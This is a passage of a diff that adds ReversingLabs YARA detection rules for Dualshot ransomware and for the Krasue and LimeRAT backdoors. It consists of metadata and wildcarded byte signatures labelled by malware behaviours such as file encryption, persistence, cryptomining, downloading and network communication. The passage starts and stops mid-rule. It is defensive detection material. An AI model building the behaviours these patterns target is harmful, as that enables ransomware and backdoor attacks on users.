+            C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 8B 1D ?? ?? ?? ?? FF D3 6A ?? 8D 45 ??
+            50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? F3 A5 8B 45 ?? 8D 8D ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56
+            FF D3 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $find_drives and $find_files and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Dualshot : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Dualshot ransomware."
+		author = "ReversingLabs"
+		id = "17828c85-0f1b-581b-842a-24e6f26e0b4d"
+		date = "2020-11-20"
+		modified = "2020-11-20"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Dualshot.yara#L1-L112"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a401369357901f42ad83227b025d3b14b3acd1f50705da82afbe8e4f85501919"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Dualshot"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$internal_encrypt_file = {
+            02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 02 28 ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? 03 28
+            ?? ?? ?? ?? 0D 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 09 16 09 8E 69 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 02 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ??
+            ?? 02 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 00 02 28 ?? ?? ?? ?? DE ?? 26
+            DE ?? 2A
+        }
+		$encrypt_files_p1 = {
+            11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ??
+            8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13
+            ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ??
+            17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 11
+            ?? 6F ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 1F ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12
+            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ??
+            ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 11 ??
+            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ??
+            26 DE ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 11 ??
+            A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 2C ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F
+            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 11 ??
+            72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
+        }
+		$encrypt_files_p2 = {
+            02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 17 9A 28 ?? ?? ?? ?? 13 ?? 02
+            18 9A 28 ?? ?? ?? ?? 2C ?? 02 18 9A 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 02 18 9A 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 18
+            9A 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 2A 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 18 8D ?? ??
+            ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 00
+            1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 08 20 ?? ?? ??
+            ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2
+            25 1A 11 ?? 08 11 ?? 8E 69 6F ?? ?? ?? ?? 9A A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 11 ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F
+            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11
+            ?? 1F ?? 3F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 17
+            6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 2A
+        }
+		$find_files_p1 = {
+            73 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 72
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 16 28 ?? ??
+            ?? ?? 02 8E 39 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 16 0D
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 17 0D 20 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 1F ?? 1B 28 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 13 ?? 6F ?? ?? ?? ?? 13 ?? 28
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ??
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 11 ?? 16 11
+            ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 13 ?? 1C 8D ?? ?? ?? ?? 25 16
+            72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ??
+            A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 13 ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72
+            ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2
+            25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 72 ?? ??
+            ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72
+        }
+		$find_files_p2 = {
+            A2 13 ?? 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 1C 32 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 13 ??
+            16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ??
+            72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 13 ??
+            16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 2C ?? 12 ?? 11 ?? 8E 69 17 58 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 6F ?? ?? ?? ?? 11 ??
+            A2 2B
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($internal_encrypt_file)
+}
+rule REVERSINGLABS_Linux_Backdoor_Krasue : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Krasue backdoor."
+		author = "ReversingLabs"
+		id = "3187eebf-ef70-585f-85cf-5813025c785e"
+		date = "2024-03-04"
+		modified = "2024-03-04"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Linux.Backdoor.Krasue.yara#L1-L127"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e2daa35ef9e0793062c9fb3bd8e4838e1e81ee3d228d8117b1c3b0e72eb8e151"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Krasue"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$switch_server = {
+            8B 05 ?? ?? ?? ?? FF C0 3B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 7C ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 48 63 05 ?? ?? ?? ?? 85 C0 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B
+            15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ??
+            ?? 89 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 66 89 15 ?? ?? 23 00 48 8B 04 C5 ?? ?? ?? ??
+            66 C7 05 ?? ?? 23 00 ?? ?? 8B 10 89 15 ?? ?? ?? ?? 66 8B 40 ?? 66 89 05 ?? ?? 23 00
+            C3
+        }
+		$get_hostname = {
+            41 55 41 54 31 F6 55 53 31 C0 BF ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
+            C0 0F 88 ?? ?? ?? ?? 48 89 E6 89 C7 89 C3 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 45 31 C9 31
+            FF 41 89 D8 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 89 EC 48 63 ED 48 89 EE E8 ?? ?? ?? ??
+            BE ?? ?? ?? ?? 48 89 C7 49 89 C5 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 48 63 D0 49 8D 74 15
+            ?? 8D 50 ?? 48 63 D2 44 39 E2 41 89 D0 7D ?? 48 FF C2 41 80 7C 15 ?? ?? 75 ?? 44 89
+            C1 41 FF C8 BA ?? ?? ?? ?? 29 C1 4D 63 C0 48 89 D7 83 E9 ?? 48 63 C9 F3 A4 41 C6 80
+            ?? ?? ?? ?? ?? 4C 89 EF 48 89 EE E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ??
+            ?? ?? 5B 5D 41 5C 41 5D C3
+        }
+		$start_server_p1 = {
+            41 57 41 56 31 D2 41 55 41 54 BE ?? ?? ?? ?? 55 53 89 FB BF ?? ?? ?? ?? 48 81 EC ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 05 ?? ?? ?? ?? 79 ?? 83 CF ?? E9 ?? ?? ?? ?? 48 8D
+            4C 24 ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C7 C7 44 24 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 48 89 D7 F3 AB 31 FF 66 C7 05
+            ?? ?? 23 00 ?? ?? E8 ?? ?? ?? ?? 0F B7 FB 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ??
+            ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 66 89 05 ?? ?? 23 00 E8 ?? ?? ?? ?? 85 C0 78
+            ?? 4C 8D A4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D 74 24 ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 31 C9 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ??
+            ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 48 89 C3 0F 88 ?? ?? ?? ?? 31 C0 B9 ?? ?? ??
+            ?? 4C 89 E7 83 FB ?? F3 AB 7E ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ??
+            ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 8D 08 31 C9 BA
+            ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? BE ?? ?? ?? ?? 4C 89
+            E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 05
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 DA BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 89
+            C2 8A 06 89 F5 44 29 E5 3C ?? 75 ?? 80 7E ?? ?? 75 ?? 48 83 C6 ?? EB ?? 3C ?? 75 ??
+            80 7E ?? ?? 75 ?? 41 B8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 C7 4C 8B 05 ?? ?? ??
+            ?? F3 AB 8B 7E ?? 66 8B 4E ?? 4C 89 06 C6 06 ?? 45 31 C0 C6 46 ?? ?? BE
+        }
+		$start_server_p2 = {
+            66 C7 05 ?? ?? 23 00 ?? ?? 89 3D ?? ?? ?? ?? 66 89 0D ?? ?? 23 00 89 3D ?? ?? ?? ??
+            66 89 0D ?? ?? 23 00 48 89 F7 B9 ?? ?? ?? ?? 4C 89 E6 F3 AB E9 ?? ?? ?? ?? 85 ED 75
+            ?? 48 63 DD BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 01 E3 48 89 DF E8 ?? ?? ?? ?? 85 C0 75
+            ?? 48 8D 7B ?? E8 ?? ?? ?? ?? 6B C0 ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 EF 99 F7
+            F9 31 C0 E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 48 8D 54 24 ?? 48 98 85 C0 78 ?? 49 8B 0C 04
+            48 83 C2 ?? 48 83 E8 ?? 48 89 4A ?? C6 42 ?? ?? C6 42 ?? ?? EB ?? BA ?? ?? ?? ?? BE
+            ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? 89 E9 4C 89 F6
+            89 2D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            48 89 C7 F3 A4 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2
+            AE 48 89 C8 48 F7 D0 48 8D 50 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89
+            DF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 44
+            8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 4C 24 ?? 44 89 4C 24 ?? E8 ?? ?? ?? ?? 48 83
+            EC ?? 41 89 C0 BA ?? ?? ?? ?? 8B 4C 24 ?? 4C 89 EF BE ?? ?? ?? ?? 31 C0 51 8B 0D ??
+            ?? ?? ?? 41 57 53 44 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 AE 48
+            83 C4 ?? 48 89 C8 48 F7 D0 48 8D 50 ?? 41 89 E8 4C 89 F1 4C 89 EE 8B 3D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8
+        }
+		$start_server_p3 = {
+            85 C0 75 ?? 31 FF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ??
+            ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ??
+            ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 E8 ?? ?? ?? ?? 45 85 FF 0F
+            85 ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 41 89 C4 75 ?? 8B
+            7C 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 4B ?? 45 31 C0 BA ?? ?? ??
+            ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? E8
+            ?? ?? ?? ?? 8B 7C 24 ?? 48 8D B4 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            89 C3 7E ?? 4C 8D AC 24 ?? ?? ?? ?? 8D 04 2B 3D ?? ?? ?? ?? 7E ?? 8B 3D ?? ?? ?? ??
+            BA ?? ?? ?? ?? 48 8D 4C 24 ?? 4C 89 EE 29 EA 41 89 E8 49 81 C5 ?? ?? ?? ?? 81 EB ??
+            ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 48 8D 4C 24 ?? 41 89 E8 89 DA 4C 89
+            EE E8 ?? ?? ?? ?? EB ?? 31 F6 BA ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? 85 C0 0F 85
+        }
+		$send_encrypt = {
+            E8 ?? ?? ?? ?? 41 8D 7E ?? 49 89 C5 48 63 FF E8 ?? ?? ?? ?? 48 63 54 24 ?? 48 89 C7
+            4C 89 FE 48 8D 0C 13 C6 04 08 ?? 89 D1 48 01 C2 F3 A4 48 89 D7 48 89 EE 48 89 D9 44
+            89 F2 F3 A4 48 89 C6 EB ?? 8D 7B ?? 48 63 FF E8 ?? ?? ?? ?? 89 DA 49 89 C5 48 89 EE
+            4C 89 EF E8 ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 4C 89 EE 44 89 E7 48 63 D0 41 B8 ?? ??
+            ?? ?? 31 C9 E8 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3
+        }
+		$notify_server = {
+            48 81 EC ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 48 89 E0 85 D2 7E ?? BE ?? ?? ?? ?? 89 D1 48
+            89 E7 F3 A4 48 63 D2 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 8D 04 10 41 B9 ?? ?? ?? ?? 48
+            83 C2 ?? 4C 89 C7 41 B8 ?? ?? ?? ?? F3 A4 8B 3D ?? ?? ?? ?? 48 89 C6 E8 ?? ?? ?? ??
+            8B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint32(0)==0x464C457F and ($switch_server) and ($get_hostname) and ( all of ($start_server_p*)) and ($send_encrypt) and ($notify_server)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Limerat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects LimeRAT backdoor."
+		author = "ReversingLabs"
+		id = "c2ef6f27-3fb8-55f4-97a6-9e25a3d1ce49"
+		date = "2024-03-04"
+		modified = "2024-03-04"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "03eaa2ac41950f036601222b32a28c03aae3b3445501e988e2f87e231a1a1522"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "LimeRAT"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$persistence_mechanism = {
+            02 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 2B ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 28 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? DE
+        }
+		$crypto_miner = {
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 16 31 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 0B 07 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 2B ?? 09 6F ?? ??
+            ?? ?? 74 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 0A DE ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09
+            6F ?? ?? ?? ?? DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ??
+            0A DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 06
+        }
+		$downloader = {
+            73 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2C ?? 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 7E ?? ?? ?? ?? 07 6F ??
+            ?? ?? ?? 07 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ??
+            06 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 26 00 06 6F ?? ?? ?? ?? 14 0A
+            DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? DE ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ??
+            ?? ?? DE
+        }
+		$network_communication_p1 = {
+            16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0B 28 ?? ??
+            ?? ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ??
